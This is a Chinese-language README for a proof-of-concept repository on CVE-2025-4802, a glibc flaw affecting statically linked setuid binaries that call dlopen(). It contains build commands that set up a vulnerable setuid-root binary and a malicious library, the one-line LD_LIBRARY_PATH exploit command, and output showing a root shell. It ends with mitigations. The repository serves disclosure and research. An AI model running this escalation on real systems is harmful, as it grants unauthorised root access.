针对静态编译且易受 dlopen 与 LD_LIBRARY_PATH 影响的 setuid 二进制文件的概念验证
⚠️ 免责声明: 本仓库仅供教育和授权的安全研究目的使用。请勿在您不拥有或未获得明确授权测试的系统上使用此漏洞利用程序。滥用可能违反法律法规。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-4802 |
| 受影响的软件 | GNU C Library (glibc) |
| 受影响版本 | 2.27 – 2.38 |
| 漏洞类型 | 通过不可信的 LD_LIBRARY_PATH 进行权限提升 |
| 攻击向量 | 本地 |
GNU C Library (glibc) 2.27 至 2.38 版本中存在一个漏洞,允许攻击者利用调用 dlopen() 的静态编译的 setuid 二进制文件中的 LD_LIBRARY_PATH 环境变量。
通常,动态链接器会为 setuid 程序清理 LD_LIBRARY_PATH。然而,静态编译的二进制文件完全绕过了动态链接器,因此 LD_LIBRARY_PATH 永远不会被清除。当这样的二进制文件调用 dlopen()(直接调用,或通过 setlocale() 或类似 getaddrinfo() 的 NSS 函数间接调用)时,glibc 使用攻击者控制的 LD_LIBRARY_PATH 解析共享库,从而可以在提升的权限下执行任意代码。
dlopen("myso.so", ...) 按名称加载一个共享对象(而不是绝对路径)。ld-linux.so) 从不运行,因此 LD_LIBRARY_PATH 未被清理。myso.so),它导出相同的 hello() 符号,但会生成一个 root shell。LD_LIBRARY_PATH 设置为指向包含恶意库的目录。.
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version 检查)gcc、makemake all
或手动构建:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
预期输出:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH(恶意行为)LD_LIBRARY_PATH=./evil_library ./main
预期输出:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
该二进制文件从 evil_library/ 加载攻击者的 myso.so 而不是合法的库,从而生成一个 root shell。

视频演示也可用:proof_of_concept_video.mp4
dlopen() 的 setuid 二进制文件进行静态链接dlopen() 调用中使用绝对路径而不是裸库名dlopen() 之前丢弃特权